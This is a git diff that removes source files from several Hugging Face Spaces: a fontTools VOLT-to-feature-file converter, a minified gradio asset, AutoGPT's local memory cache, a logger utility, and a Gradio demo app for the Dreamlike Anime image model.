-
-        # Prune features
-        features = self._features.copy()
-        for ftag in features:
-            scripts = features[ftag]
-            for stag in scripts:
-                langs = scripts[stag]
-                for ltag in langs:
-                    langs[ltag] = [l for l in langs[ltag] if l.lower() in self._lookups]
-                scripts[stag] = {t: l for t, l in langs.items() if l}
-            features[ftag] = {t: s for t, s in scripts.items() if s}
-        features = {t: f for t, f in features.items() if f}
-
-        if features:
-            statements.append(ast.Comment("# Features"))
-            for ftag, scripts in features.items():
-                feature = ast.FeatureBlock(ftag)
-                stags = sorted(scripts, key=lambda k: 0 if k == "DFLT" else 1)
-                for stag in stags:
-                    feature.statements.append(ast.ScriptStatement(stag))
-                    ltags = sorted(scripts[stag], key=lambda k: 0 if k == "dflt" else 1)
-                    for ltag in ltags:
-                        include_default = True if ltag == "dflt" else False
-                        feature.statements.append(
-                            ast.LanguageStatement(ltag, include_default=include_default)
-                        )
-                        for name in scripts[stag][ltag]:
-                            lookup = self._lookups[name.lower()]
-                            lookupref = ast.LookupReferenceStatement(lookup)
-                            feature.statements.append(lookupref)
-                statements.append(feature)
-
-        if self._gdef and "GDEF" in tables:
-            classes = []
-            for name in ("BASE", "MARK", "LIGATURE", "COMPONENT"):
-                if name in self._gdef:
-                    classname = "GDEF_" + name.lower()
-                    glyphclass = ast.GlyphClassDefinition(classname, self._gdef[name])
-                    statements.append(glyphclass)
-                    classes.append(ast.GlyphClassName(glyphclass))
-                else:
-                    classes.append(None)
-
-            gdef = ast.TableBlock("GDEF")
-            gdef.statements.append(ast.GlyphClassDefStatement(*classes))
-            statements.append(gdef)
-
-        return doc
-
-    def convert(self, tables=None):
-        doc = VoltParser(self._file_or_path).parse()
-
-        if tables is None:
-            tables = TABLES
-        if self._font is not None:
-            self._glyph_order = self._font.getGlyphOrder()
-
-        self._collectStatements(doc, tables)
-        fea = self._buildFeatureFile(tables)
-        return fea.asFea()
-
-    def _glyphName(self, glyph):
-        try:
-            name = glyph.glyph
-        except AttributeError:
-            name = glyph
-        return ast.GlyphName(self._glyph_map.get(name, name))
-
-    def _groupName(self, group):
-        try:
-            name = group.group
-        except AttributeError:
-            name = group
-        return ast.GlyphClassName(self._glyphclasses[name.lower()])
-
-    def _coverage(self, coverage):
-        items = []
-        for item in coverage:
-            if isinstance(item, VAst.GlyphName):
-                items.append(self._glyphName(item))
-            elif isinstance(item, VAst.GroupName):
-                items.append(self._groupName(item))
-            elif isinstance(item, VAst.Enum):
-                items.append(self._enum(item))
-            elif isinstance(item, VAst.Range):
-                items.append((item.start, item.end))
-            else:
-                raise NotImplementedError(item)
-        return items
-
-    def _enum(self, enum):
-        return ast.GlyphClass(self._coverage(enum.enum))
-
-    def _context(self, context):
-        out = []
-        for item in context:
-            coverage = self._coverage(item)
-            if not isinstance(coverage, (tuple, list)):
-                coverage = [coverage]
-            out.extend(coverage)
-        return out
-
-    def _groupDefinition(self, group):
-        name = self._className(group.name)
-        glyphs = self._enum(group.enum)
-        glyphclass = ast.GlyphClassDefinition(name, glyphs)
-
-        self._glyphclasses[group.name.lower()] = glyphclass
-
-    def _glyphDefinition(self, glyph):
-        try:
-            self._glyph_map[glyph.name] = self._glyph_order[glyph.id]
-        except TypeError:
-            pass
-
-        if glyph.type in ("BASE", "MARK", "LIGATURE", "COMPONENT"):
-            if glyph.type not in self._gdef:
-                self._gdef[glyph.type] = ast.GlyphClass()
-            self._gdef[glyph.type].glyphs.append(self._glyphName(glyph.name))
-
-        if glyph.type == "MARK":
-            self._marks.add(glyph.name)
-        elif glyph.type == "LIGATURE":
-            self._ligatures[glyph.name] = glyph.components
-
-    def _scriptDefinition(self, script):
-        stag = script.tag
-        for lang in script.langs:
-            ltag = lang.tag
-            for feature in lang.features:
-                lookups = {l.split("\\")[0]: True for l in feature.lookups}
-                ftag = feature.tag
-                if ftag not in self._features:
-                    self._features[ftag] = {}
-                if stag not in self._features[ftag]:
-                    self._features[ftag][stag] = {}
-                assert ltag not in self._features[ftag][stag]
-                self._features[ftag][stag][ltag] = lookups.keys()
-
-    def _settingDefinition(self, setting):
-        if setting.name.startswith("COMPILER_"):
-            self._settings[setting.name] = setting.value
-        else:
-            log.warning(f"Unsupported setting ignored: {setting.name}")
-
-    def _adjustment(self, adjustment):
-        adv, dx, dy, adv_adjust_by, dx_adjust_by, dy_adjust_by = adjustment
-
-        adv_device = adv_adjust_by and adv_adjust_by.items() or None
-        dx_device = dx_adjust_by and dx_adjust_by.items() or None
-        dy_device = dy_adjust_by and dy_adjust_by.items() or None
-
-        return ast.ValueRecord(
-            xPlacement=dx,
-            yPlacement=dy,
-            xAdvance=adv,
-            xPlaDevice=dx_device,
-            yPlaDevice=dy_device,
-            xAdvDevice=adv_device,
-        )
-
-    def _anchor(self, adjustment):
-        adv, dx, dy, adv_adjust_by, dx_adjust_by, dy_adjust_by = adjustment
-
-        assert not adv_adjust_by
-        dx_device = dx_adjust_by and dx_adjust_by.items() or None
-        dy_device = dy_adjust_by and dy_adjust_by.items() or None
-
-        return ast.Anchor(
-            dx or 0,
-            dy or 0,
-            xDeviceTable=dx_device or None,
-            yDeviceTable=dy_device or None,
-        )
-
-    def _anchorDefinition(self, anchordef):
-        anchorname = anchordef.name
-        glyphname = anchordef.glyph_name
-        anchor = self._anchor(anchordef.pos)
-
-        if anchorname.startswith("MARK_"):
-            name = "_".join(anchorname.split("_")[1:])
-            markclass = ast.MarkClass(self._className(name))
-            glyph = self._glyphName(glyphname)
-            markdef = MarkClassDefinition(markclass, anchor, glyph)
-            self._markclasses[(glyphname, anchorname)] = markdef
-        else:
-            if glyphname not in self._anchors:
-                self._anchors[glyphname] = {}
-            if anchorname not in self._anchors[glyphname]:
-                self._anchors[glyphname][anchorname] = {}
-            self._anchors[glyphname][anchorname][anchordef.component] = anchor
-
-    def _gposLookup(self, lookup, fealookup):
-        statements = fealookup.statements
-
-        pos = lookup.pos
-        if isinstance(pos, VAst.PositionAdjustPairDefinition):
-            for (idx1, idx2), (pos1, pos2) in pos.adjust_pair.items():
-                coverage_1 = pos.coverages_1[idx1 - 1]
-                coverage_2 = pos.coverages_2[idx2 - 1]
-
-                # If not both are groups, use “enum pos” otherwise makeotf will
-                # fail.
-                enumerated = False
-                for item in coverage_1 + coverage_2:
-                    if not isinstance(item, VAst.GroupName):
-                        enumerated = True
-
-                glyphs1 = self._coverage(coverage_1)
-                glyphs2 = self._coverage(coverage_2)
-                record1 = self._adjustment(pos1)
-                record2 = self._adjustment(pos2)
-                assert len(glyphs1) == 1
-                assert len(glyphs2) == 1
-                statements.append(
-                    ast.PairPosStatement(
-                        glyphs1[0], record1, glyphs2[0], record2, enumerated=enumerated
-                    )
-                )
-        elif isinstance(pos, VAst.PositionAdjustSingleDefinition):
-            for a, b in pos.adjust_single:
-                glyphs = self._coverage(a)
-                record = self._adjustment(b)
-                assert len(glyphs) == 1
-                statements.append(
-                    ast.SinglePosStatement([(glyphs[0], record)], [], [], False)
-                )
-        elif isinstance(pos, VAst.PositionAttachDefinition):
-            anchors = {}
-            for marks, classname in pos.coverage_to:
-                for mark in marks:
-                    # Set actually used mark classes. Basically a hack to get
-                    # around the feature file syntax limitation of making mark
-                    # classes global and not allowing mark positioning to
-                    # specify mark coverage.
-                    for name in mark.glyphSet():
-                        key = (name, "MARK_" + classname)
-                        self._markclasses[key].used = True
-                markclass = ast.MarkClass(self._className(classname))
-                for base in pos.coverage:
-                    for name in base.glyphSet():
-                        if name not in anchors:
-                            anchors[name] = []
-                        if classname not in anchors[name]:
-                            anchors[name].append(classname)
-
-            for name in anchors:
-                components = 1
-                if name in self._ligatures:
-                    components = self._ligatures[name]
-
-                marks = []
-                for mark in anchors[name]:
-                    markclass = ast.MarkClass(self._className(mark))
-                    for component in range(1, components + 1):
-                        if len(marks) < component:
-                            marks.append([])
-                        anchor = None
-                        if component in self._anchors[name][mark]:
-                            anchor = self._anchors[name][mark][component]
-                        marks[component - 1].append((anchor, markclass))
-
-                base = self._glyphName(name)
-                if name in self._marks:
-                    mark = ast.MarkMarkPosStatement(base, marks[0])
-                elif name in self._ligatures:
-                    mark = ast.MarkLigPosStatement(base, marks)
-                else:
-                    mark = ast.MarkBasePosStatement(base, marks[0])
-                statements.append(mark)
-        elif isinstance(pos, VAst.PositionAttachCursiveDefinition):
-            # Collect enter and exit glyphs
-            enter_coverage = []
-            for coverage in pos.coverages_enter:
-                for base in coverage:
-                    for name in base.glyphSet():
-                        enter_coverage.append(name)
-            exit_coverage = []
-            for coverage in pos.coverages_exit:
-                for base in coverage:
-                    for name in base.glyphSet():
-                        exit_coverage.append(name)
-
-            # Write enter anchors, also check if the glyph has exit anchor and
-            # write it, too.
-            for name in enter_coverage:
-                glyph = self._glyphName(name)
-                entry = self._anchors[name]["entry"][1]
-                exit = None
-                if name in exit_coverage:
-                    exit = self._anchors[name]["exit"][1]
-                    exit_coverage.pop(exit_coverage.index(name))
-                statements.append(ast.CursivePosStatement(glyph, entry, exit))
-
-            # Write any remaining exit anchors.
-            for name in exit_coverage:
-                glyph = self._glyphName(name)
-                exit = self._anchors[name]["exit"][1]
-                statements.append(ast.CursivePosStatement(glyph, None, exit))
-        else:
-            raise NotImplementedError(pos)
-
-    def _gposContextLookup(
-        self, lookup, prefix, suffix, ignore, fealookup, targetlookup
-    ):
-        statements = fealookup.statements
-
-        assert not lookup.reversal
-
-        pos = lookup.pos
-        if isinstance(pos, VAst.PositionAdjustPairDefinition):
-            for (idx1, idx2), (pos1, pos2) in pos.adjust_pair.items():
-                glyphs1 = self._coverage(pos.coverages_1[idx1 - 1])
-                glyphs2 = self._coverage(pos.coverages_2[idx2 - 1])
-                assert len(glyphs1) == 1
-                assert len(glyphs2) == 1
-                glyphs = (glyphs1[0], glyphs2[0])
-
-                if ignore:
-                    statement = ast.IgnorePosStatement([(prefix, glyphs, suffix)])
-                else:
-                    lookups = (targetlookup, targetlookup)
-                    statement = ast.ChainContextPosStatement(
-                        prefix, glyphs, suffix, lookups
-                    )
-                statements.append(statement)
-        elif isinstance(pos, VAst.PositionAdjustSingleDefinition):
-            glyphs = [ast.GlyphClass()]
-            for a, b in pos.adjust_single:
-                glyph = self._coverage(a)
-                glyphs[0].extend(glyph)
-
-            if ignore:
-                statement = ast.IgnorePosStatement([(prefix, glyphs, suffix)])
-            else:
-                statement = ast.ChainContextPosStatement(
-                    prefix, glyphs, suffix, [targetlookup]
-                )
-            statements.append(statement)
-        elif isinstance(pos, VAst.PositionAttachDefinition):
-            glyphs = [ast.GlyphClass()]
-            for coverage, _ in pos.coverage_to:
-                glyphs[0].extend(self._coverage(coverage))
-
-            if ignore:
-                statement = ast.IgnorePosStatement([(prefix, glyphs, suffix)])
-            else:
-                statement = ast.ChainContextPosStatement(
-                    prefix, glyphs, suffix, [targetlookup]
-                )
-            statements.append(statement)
-        else:
-            raise NotImplementedError(pos)
-
-    def _gsubLookup(self, lookup, prefix, suffix, ignore, chain, fealookup):
-        statements = fealookup.statements
-
-        sub = lookup.sub
-        for key, val in sub.mapping.items():
-            if not key or not val:
-                path, line, column = sub.location
-                log.warning(f"{path}:{line}:{column}: Ignoring empty substitution")
-                continue
-            statement = None
-            glyphs = self._coverage(key)
-            replacements = self._coverage(val)
-            if ignore:
-                chain_context = (prefix, glyphs, suffix)
-                statement = ast.IgnoreSubstStatement([chain_context])
-            elif isinstance(sub, VAst.SubstitutionSingleDefinition):
-                assert len(glyphs) == 1
-                assert len(replacements) == 1
-                statement = ast.SingleSubstStatement(
-                    glyphs, replacements, prefix, suffix, chain
-                )
-            elif isinstance(sub, VAst.SubstitutionReverseChainingSingleDefinition):
-                assert len(glyphs) == 1
-                assert len(replacements) == 1
-                statement = ast.ReverseChainSingleSubstStatement(
-                    prefix, suffix, glyphs, replacements
-                )
-            elif isinstance(sub, VAst.SubstitutionMultipleDefinition):
-                assert len(glyphs) == 1
-                statement = ast.MultipleSubstStatement(
-                    prefix, glyphs[0], suffix, replacements, chain
-                )
-            elif isinstance(sub, VAst.SubstitutionLigatureDefinition):
-                assert len(replacements) == 1
-                statement = ast.LigatureSubstStatement(
-                    prefix, glyphs, suffix, replacements[0], chain
-                )
-            else:
-                raise NotImplementedError(sub)
-            statements.append(statement)
-
-    def _lookupDefinition(self, lookup):
-        mark_attachement = None
-        mark_filtering = None
-
-        flags = 0
-        if lookup.direction == "RTL":
-            flags |= 1
-        if not lookup.process_base:
-            flags |= 2
-        # FIXME: Does VOLT support this?
-        # if not lookup.process_ligatures:
-        #     flags |= 4
-        if not lookup.process_marks:
-            flags |= 8
-        elif isinstance(lookup.process_marks, str):
-            mark_attachement = self._groupName(lookup.process_marks)
-        elif lookup.mark_glyph_set is not None:
-            mark_filtering = self._groupName(lookup.mark_glyph_set)
-
-        lookupflags = None
-        if flags or mark_attachement is not None or mark_filtering is not None:
-            lookupflags = ast.LookupFlagStatement(
-                flags, mark_attachement, mark_filtering
-            )
-        if "\\" in lookup.name:
-            # Merge sub lookups as subtables (lookups named “base\sub”),
-            # makeotf/feaLib will issue a warning and ignore the subtable
-            # statement if it is not a pairpos lookup, though.
-            name = lookup.name.split("\\")[0]
-            if name.lower() not in self._lookups:
-                fealookup = ast.LookupBlock(self._lookupName(name))
-                if lookupflags is not None:
-                    fealookup.statements.append(lookupflags)
-                fealookup.statements.append(ast.Comment("# " + lookup.name))
-            else:
-                fealookup = self._lookups[name.lower()]
-                fealookup.statements.append(ast.SubtableStatement())
-                fealookup.statements.append(ast.Comment("# " + lookup.name))
-            self._lookups[name.lower()] = fealookup
-        else:
-            fealookup = ast.LookupBlock(self._lookupName(lookup.name))
-            if lookupflags is not None:
-                fealookup.statements.append(lookupflags)
-            self._lookups[lookup.name.lower()] = fealookup
-
-        if lookup.comments is not None:
-            fealookup.statements.append(ast.Comment("# " + lookup.comments))
-
-        contexts = []
-        if lookup.context:
-            for context in lookup.context:
-                prefix = self._context(context.left)
-                suffix = self._context(context.right)
-                ignore = context.ex_or_in == "EXCEPT_CONTEXT"
-                contexts.append([prefix, suffix, ignore, False])
-                # It seems that VOLT will create contextual substitution using
-                # only the input if there is no other contexts in this lookup.
-                if ignore and len(lookup.context) == 1:
-                    contexts.append([[], [], False, True])
-        else:
-            contexts.append([[], [], False, False])
-
-        targetlookup = None
-        for prefix, suffix, ignore, chain in contexts:
-            if lookup.sub is not None:
-                self._gsubLookup(lookup, prefix, suffix, ignore, chain, fealookup)
-
-            if lookup.pos is not None:
-                if self._settings.get("COMPILER_USEEXTENSIONLOOKUPS"):
-                    fealookup.use_extension = True
-                if prefix or suffix or chain or ignore:
-                    if not ignore and targetlookup is None:
-                        targetname = self._lookupName(lookup.name + " target")
-                        targetlookup = ast.LookupBlock(targetname)
-                        fealookup.targets = getattr(fealookup, "targets", [])
-                        fealookup.targets.append(targetlookup)
-                        self._gposLookup(lookup, targetlookup)
-                    self._gposContextLookup(
-                        lookup, prefix, suffix, ignore, fealookup, targetlookup
-                    )
-                else:
-                    self._gposLookup(lookup, fealookup)
-
-
-def main(args=None):
-    """Convert MS VOLT to AFDKO feature files."""
-
-    import argparse
-    from pathlib import Path
-
-    from fontTools import configLogger
-
-    parser = argparse.ArgumentParser(
-        "fonttools voltLib.voltToFea", description=main.__doc__
-    )
-    parser.add_argument(
-        "input", metavar="INPUT", type=Path, help="input font/VTP file to process"
-    )
-    parser.add_argument(
-        "featurefile", metavar="OUTPUT", type=Path, help="output feature file"
-    )
-    parser.add_argument(
-        "-t",
-        "--table",
-        action="append",
-        choices=TABLES,
-        dest="tables",
-        help="List of tables to write, by default all tables are written",
-    )
-    parser.add_argument(
-        "-q", "--quiet", action="store_true", help="Suppress non-error messages"
-    )
-    parser.add_argument(
-        "--traceback", action="store_true", help="Don’t catch exceptions"
-    )
-
-    options = parser.parse_args(args)
-
-    configLogger(level=("ERROR" if options.quiet else "INFO"))
-
-    file_or_path = options.input
-    font = None
-    try:
-        font = TTFont(file_or_path)
-        if "TSIV" in font:
-            file_or_path = StringIO(font["TSIV"].data.decode("utf-8"))
-        else:
-            log.error('"TSIV" table is missing, font was not saved from VOLT?')
-            return 1
-    except TTLibError:
-        pass
-
-    converter = VoltToFea(file_or_path, font)
-    try:
-        fea = converter.convert(options.tables)
-    except NotImplementedError as e:
-        if options.traceback:
-            raise
-        location = getattr(e.args[0], "location", None)
-        message = f'"{e}" is not supported'
-        if location:
-            path, line, column = location
-            log.error(f"{path}:{line}:{column}: {message}")
-        else:
-            log.error(message)
-        return 1
-    with open(options.featurefile, "w") as feafile:
-        feafile.write(fea)
-
-
-if __name__ == "__main__":
-    import sys
-
-    sys.exit(main())
diff --git a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/gradio/templates/frontend/assets/index-98c587a9.js b/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/gradio/templates/frontend/assets/index-98c587a9.js
deleted file mode 100644
index 1f896e36dea18d373f1946dd38dcf148e783d7f5..0000000000000000000000000000000000000000
--- a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/gradio/templates/frontend/assets/index-98c587a9.js
+++ /dev/null
@@ -1,7 +0,0 @@
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f;(function(t){t[t.Document=1]="Document",t[t.CodeBlock=2]="CodeBlock",t[t.FencedCode=3]="FencedCode",t[t.Blockquote=4]="Blockquote",t[t.HorizontalRule=5]="HorizontalRule",t[t.BulletList=6]="BulletList",t[t.OrderedList=7]="OrderedList",t[t.ListItem=8]="ListItem",t[t.ATXHeading1=9]="ATXHeading1",t[t.ATXHeading2=10]="ATXHeading2",t[t.ATXHeading3=11]="ATXHeading3",t[t.ATXHeading4=12]="ATXHeading4",t[t.ATXHeading5=13]="ATXHeading5",t[t.ATXHeading6=14]="ATXHeading6",t[t.SetextHeading1=15]="SetextHeading1",t[t.SetextHeading2=16]="SetextHeading2",t[t.HTMLBlock=17]="HTMLBlock",t[t.LinkReference=18]="LinkReference",t[t.Paragraph=19]="Paragraph",t[t.CommentBlock=20]="CommentBlock",t[t.ProcessingInstructionBlock=21]="ProcessingInstructionBlock",t[t.Escape=22]="Escape",t[t.Entity=23]="Entity",t[t.HardBreak=24]="HardBreak",t[t.Emphasis=25]="Emphasis",t[t.StrongEmphasis=26]="StrongEmphasis",t[t.Link=27]="Link",t[t.Image=28]="Image",t[t.InlineCode=29]="InlineCode",t[t.HTMLTag=30]="HTMLTag",t[t.Comment=31]="Comment",t[t.ProcessingInstruction=32]="ProcessingInstruction",t[t.URL=33]="URL",t[t.HeaderMark=34]="HeaderMark",t[t.QuoteMark=35]="QuoteMark",t[t.ListMark=36]="ListMark",t[t.LinkMark=37]="LinkMark",t[t.EmphasisMark=38]="EmphasisMark",t[t.CodeMark=39]="CodeMark",t[t.CodeText=40]="CodeText",t[t.CodeInfo=41]="CodeInfo",t[t.LinkTitle=42]="LinkTitle",t[t.LinkLabel=43]="LinkLabel"})(f||(f={}));class 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-//# sourceMappingURL=index-98c587a9.js.map
diff --git a/spaces/DaleChen/AutoGPT/autogpt/memory/local.py b/spaces/DaleChen/AutoGPT/autogpt/memory/local.py
deleted file mode 100644
index 803b6dc6ebb430285f423cda592fa3e902e9a4a6..0000000000000000000000000000000000000000
--- a/spaces/DaleChen/AutoGPT/autogpt/memory/local.py
+++ /dev/null
@@ -1,136 +0,0 @@
-from __future__ import annotations
-
-import dataclasses
-import os
-from typing import Any, List
-
-import numpy as np
-import orjson
-
-from autogpt.llm_utils import create_embedding_with_ada
-from autogpt.memory.base import MemoryProviderSingleton
-
-EMBED_DIM = 1536
-SAVE_OPTIONS = orjson.OPT_SERIALIZE_NUMPY | orjson.OPT_SERIALIZE_DATACLASS
-
-
-def create_default_embeddings():
-    return np.zeros((0, EMBED_DIM)).astype(np.float32)
-
-
-@dataclasses.dataclass
-class CacheContent:
-    texts: List[str] = dataclasses.field(default_factory=list)
-    embeddings: np.ndarray = dataclasses.field(
-        default_factory=create_default_embeddings
-    )
-
-
-class LocalCache(MemoryProviderSingleton):
-    """A class that stores the memory in a local file"""
-
-    def __init__(self, cfg) -> None:
-        """Initialize a class instance
-
-        Args:
-            cfg: Config object
-
-        Returns:
-            None
-        """
-        self.filename = f"{cfg.memory_index}.json"
-        if os.path.exists(self.filename):
-            try:
-                with open(self.filename, "w+b") as f:
-                    file_content = f.read()
-                    if not file_content.strip():
-                        file_content = b"{}"
-                        f.write(file_content)
-
-                    loaded = orjson.loads(file_content)
-                    self.data = CacheContent(**loaded)
-            except orjson.JSONDecodeError:
-                print(f"Error: The file '{self.filename}' is not in JSON format.")
-                self.data = CacheContent()
-        else:
-            print(
-                f"Warning: The file '{self.filename}' does not exist. "
-                "Local memory would not be saved to a file."
-            )
-            self.data = CacheContent()
-
-    def add(self, text: str):
-        """
-        Add text to our list of texts, add embedding as row to our
-            embeddings-matrix
-
-        Args:
-            text: str
-
-        Returns: None
-        """
-        if "Command Error:" in text:
-            return ""
-        self.data.texts.append(text)
-
-        embedding = create_embedding_with_ada(text)
-
-        vector = np.array(embedding).astype(np.float32)
-        vector = vector[np.newaxis, :]
-        self.data.embeddings = np.concatenate(
-            [
-                self.data.embeddings,
-                vector,
-            ],
-            axis=0,
-        )
-
-        with open(self.filename, "wb") as f:
-            out = orjson.dumps(self.data, option=SAVE_OPTIONS)
-            f.write(out)
-        return text
-
-    def clear(self) -> str:
-        """
-        Clears the redis server.
-
-        Returns: A message indicating that the memory has been cleared.
-        """
-        self.data = CacheContent()
-        return "Obliviated"
-
-    def get(self, data: str) -> list[Any] | None:
-        """
-        Gets the data from the memory that is most relevant to the given data.
-
-        Args:
-            data: The data to compare to.
-
-        Returns: The most relevant data.
-        """
-        return self.get_relevant(data, 1)
-
-    def get_relevant(self, text: str, k: int) -> list[Any]:
-        """ "
-        matrix-vector mult to find score-for-each-row-of-matrix
-         get indices for top-k winning scores
-         return texts for those indices
-        Args:
-            text: str
-            k: int
-
-        Returns: List[str]
-        """
-        embedding = create_embedding_with_ada(text)
-
-        scores = np.dot(self.data.embeddings, embedding)
-
-        top_k_indices = np.argsort(scores)[-k:][::-1]
-
-        return [self.data.texts[i] for i in top_k_indices]
-
-    def get_stats(self) -> tuple[int, tuple[int, ...]]:
-        """
-        Returns: The stats of the local cache.
-        """
-        return len(self.data.texts), self.data.embeddings.shape
diff --git a/spaces/Datasculptor/3D-Room-Layout-Estimation_LGT-Net/utils/logger.py b/spaces/Datasculptor/3D-Room-Layout-Estimation_LGT-Net/utils/logger.py
deleted file mode 100644
index 0f2e4dc66099c7e4784e37ab924e8594ffa03e27..0000000000000000000000000000000000000000
--- a/spaces/Datasculptor/3D-Room-Layout-Estimation_LGT-Net/utils/logger.py
+++ /dev/null
@@ -1,49 +0,0 @@
-""" 
-@Date: 2021/07/17
-@description:
-"""
-import os
-import sys
-import logging
-import functools
-from termcolor import colored
-
-
-def build_logger(config):
-    output_dir = config.LOGGER.DIR
-    local_rank = config.LOCAL_RANK
-    name = config.MODEL.NAME
-    logger = get_logger(output_dir, local_rank, name)
-    return logger
-
-
-@functools.lru_cache()
-def get_logger(output_dir=None, local_rank=None, name="PLTNet"):
-    if output_dir and not os.path.exists(output_dir):
-        os.makedirs(output_dir)
-
-    # create logger
-    logger = logging.getLogger(name)
-    logger.setLevel(logging.DEBUG)
-    logger.propagate = False
-
-    # create formatter
-    fmt = f'[%(asctime)s %(name)s][%(levelname)1.1s](%(filename)s %(lineno)d): %(message)s'
-    color_fmt = colored(f'[%(asctime)s %(name)s][%(levelname)1.1s][{local_rank}]', 'green') + colored(
-        f'(%(filename)s %(lineno)d)',
-        'yellow') + ': %(message)s'
-    if local_rank in [0] or local_rank is None:
-        console_handler = logging.StreamHandler(sys.stdout)
-        console_handler.setLevel(logging.DEBUG)
-        console_handler.setFormatter(
-            logging.Formatter(fmt=color_fmt, datefmt='%Y-%m-%d %H:%M:%S'))
-        logger.addHandler(console_handler)
-
-    if output_dir is not None:
-        # create file handlers
-        file_handler = logging.FileHandler(os.path.join(output_dir, f'log_rank{local_rank}.log'), mode='a')
-        file_handler.setLevel(logging.DEBUG)
-        file_handler.setFormatter(logging.Formatter(fmt=fmt, datefmt='%Y-%m-%d %H:%M:%S'))
-        logger.addHandler(file_handler)
-
-    return logger
diff --git a/spaces/DpNaze/Dreamlikeart/app.py b/spaces/DpNaze/Dreamlikeart/app.py
deleted file mode 100644
index a4a3991d0dca403c6908f1823718e50fe308deeb..0000000000000000000000000000000000000000
--- a/spaces/DpNaze/Dreamlikeart/app.py
+++ /dev/null
@@ -1,154 +0,0 @@
-import gradio as gr
-import os
-import sys
-from pathlib import Path
-import random
-import string
-import time
-from queue import Queue
-from threading import Thread
-import emoji
-
-#text_gen=gr.Interface.load("spaces/phenomenon1981/MagicPrompt-Stable-Diffusion")
-def get_prompts(prompt_text):
-    if prompt_text:
-        return prompt_text
-    else:
-        return ""
-proc1=gr.Interface.load("models/dreamlike-art/dreamlike-anime-1.0")
-
-def restart_script_periodically():
-    while True:
-        random_time = random.randint(540, 600)
-        time.sleep(random_time)
-        os.execl(sys.executable, sys.executable, *sys.argv)
-
-
-restart_thread = Thread(target=restart_script_periodically, daemon=True)
-restart_thread.start()
-
-
-queue = Queue()
-queue_threshold = 100
-
-def add_random_noise(prompt, noise_level=0.00):
-    if noise_level == 0:
-        noise_level = 0.00
-    percentage_noise = noise_level * 5
-    num_noise_chars = int(len(prompt) * (percentage_noise/100))
-    noise_indices = random.sample(range(len(prompt)), num_noise_chars)
-    prompt_list = list(prompt)
-    noise_chars = list(string.ascii_letters + string.punctuation + ' ' + string.digits)
-    noise_chars.extend(['😍', '💩', '😂', '🤔', '😊', '🤗', '😭', '🙄', '😷', '🤯', '🤫', '🥴', '😴', '🤩', '🥳', '😔', '😩', '🤪', '😇', '🤢', '😈', '👹', '👻', '🤖', '👽', '💀', '🎃', '🎅', '🎄', '🎁', '🎂', '🎉', '🎈', '🎊', '🎮', '❤️', '💔', '💕', '💖', '💗', '🐶', '🐱', '🐭', '🐹', '🦊', '🐻', '🐨', '🐯', '🦁', '🐘', '🔥', '🌧️', '🌞', '🌈', '💥', '🌴', '🌊', '🌺', '🌻', '🌸', '🎨', '🌅', '🌌', '☁️', '⛈️', '❄️', '☀️', '🌤️', '⛅️', '🌥️', '🌦️', '🌧️', '🌩️', '🌨️', '🌫️', '☔️', '🌬️', '💨', '🌪️', '🌈'])
-    for index in noise_indices:
-        prompt_list[index] = random.choice(noise_chars)
-    return "".join(prompt_list)
-
-
-
-def send_it1(inputs, noise_level, proc1=proc1):
-    prompt_with_noise = add_random_noise(inputs, noise_level)
-    while queue.qsize() >= queue_threshold:
-        time.sleep(2)
-    queue.put(prompt_with_noise)
-    output1 = proc1(prompt_with_noise)
-    return output1
-
-def send_it2(inputs, noise_level, proc1=proc1):
-    prompt_with_noise = add_random_noise(inputs, noise_level)
-    while queue.qsize() >= queue_threshold:
-        time.sleep(2)
-    queue.put(prompt_with_noise)
-    output2 = proc1(prompt_with_noise)
-    return output2
-
-#def send_it3(inputs, noise_level, proc1=proc1):
-    #prompt_with_noise = add_random_noise(inputs, noise_level)
-    #while queue.qsize() >= queue_threshold:
-        #time.sleep(2)
-    #queue.put(prompt_with_noise)
-    #output3 = proc1(prompt_with_noise)
-    #return output3
-
-#def send_it4(inputs, noise_level, proc1=proc1):
-    #prompt_with_noise = add_random_noise(inputs, noise_level)
-    #while queue.qsize() >= queue_threshold:
-        #time.sleep(2)
-    #queue.put(prompt_with_noise)
-    #output4 = proc1(prompt_with_noise)
-    #return output4
-
-
-with gr.Blocks(css='style.css') as demo:
-    gr.HTML(
-        """
-            <div style="text-align: center; max-width: 650px; margin: 0 auto;">
-              <div>
-                <h1 style="font-weight: 900; font-size: 3rem; margin-bottom:20px;">
-                  Dreamlike Anime 1.0
-                </h1>
-              </div>
-              <p style="margin-bottom: 10px; font-size: 96%">
-              Noise Level: Controls how much randomness is added to the input before it is sent to the model. Higher noise level produces more diverse outputs, while lower noise level produces similar outputs,
-                <a href="https://twitter.com/DavidJohnstonxx/">created by Phenomenon1981</a>.
-              </p>
-              <p style="margin-bottom: 10px; font-size: 98%">
-              ❤️ Press the Like Button if you enjoy my space! ❤️</a>
-              </p>
-            </div>
-        """
-    )
-    with gr.Column(elem_id="col-container"):
-        #with gr.Row(variant="compact"):
-            #input_text = gr.Textbox(
-                #label="Short Prompt",
-                #show_label=False,
-                #max_lines=2,
-                #placeholder="Enter a basic idea and click 'Magic Prompt'. Got no ideas? No problem, Simply just hit the magic button!",
-            #).style(
-                #container=False,
-            #)
-            #see_prompts = gr.Button("✨ Magic Prompt ✨").style(full_width=False)
-
-        
-        with gr.Row(variant="compact"):
-            prompt = gr.Textbox(
-                label="Enter your prompt",
-                show_label=False,
-                max_lines=2,
-                placeholder="Full Prompt",
-            ).style(
-                container=False,
-            )
-            run = gr.Button("Generate Images").style(full_width=False)
-        
-        with gr.Row():
-            with gr.Row():
-                noise_level = gr.Slider(minimum=0.0, maximum=3, step=0.1, label="Noise Level")
-        with gr.Row():
-            with gr.Row():
-                output1=gr.Image(label="Dreamlike Anime 1.0",show_label=False)
-                output2=gr.Image(label="Dreamlike Anime 1.0",show_label=False)
-        
-
-        #see_prompts.click(get_prompts, inputs=[input_text], outputs=[prompt], queue=False)
-        run.click(send_it1, inputs=[prompt, noise_level], outputs=[output1])
-        run.click(send_it2, inputs=[prompt, noise_level], outputs=[output2])
-
-
-        with gr.Row():
-                gr.HTML(
-    """
-        <div class="footer">
-        <p> Demo for <a href="https://huggingface.co/dreamlike-art/dreamlike-anime-1.0">Dreamlike Anime 1.0</a> Stable Diffusion model
-</p>
-</div>
-        <div class="acknowledgments" style="font-size: 115%">
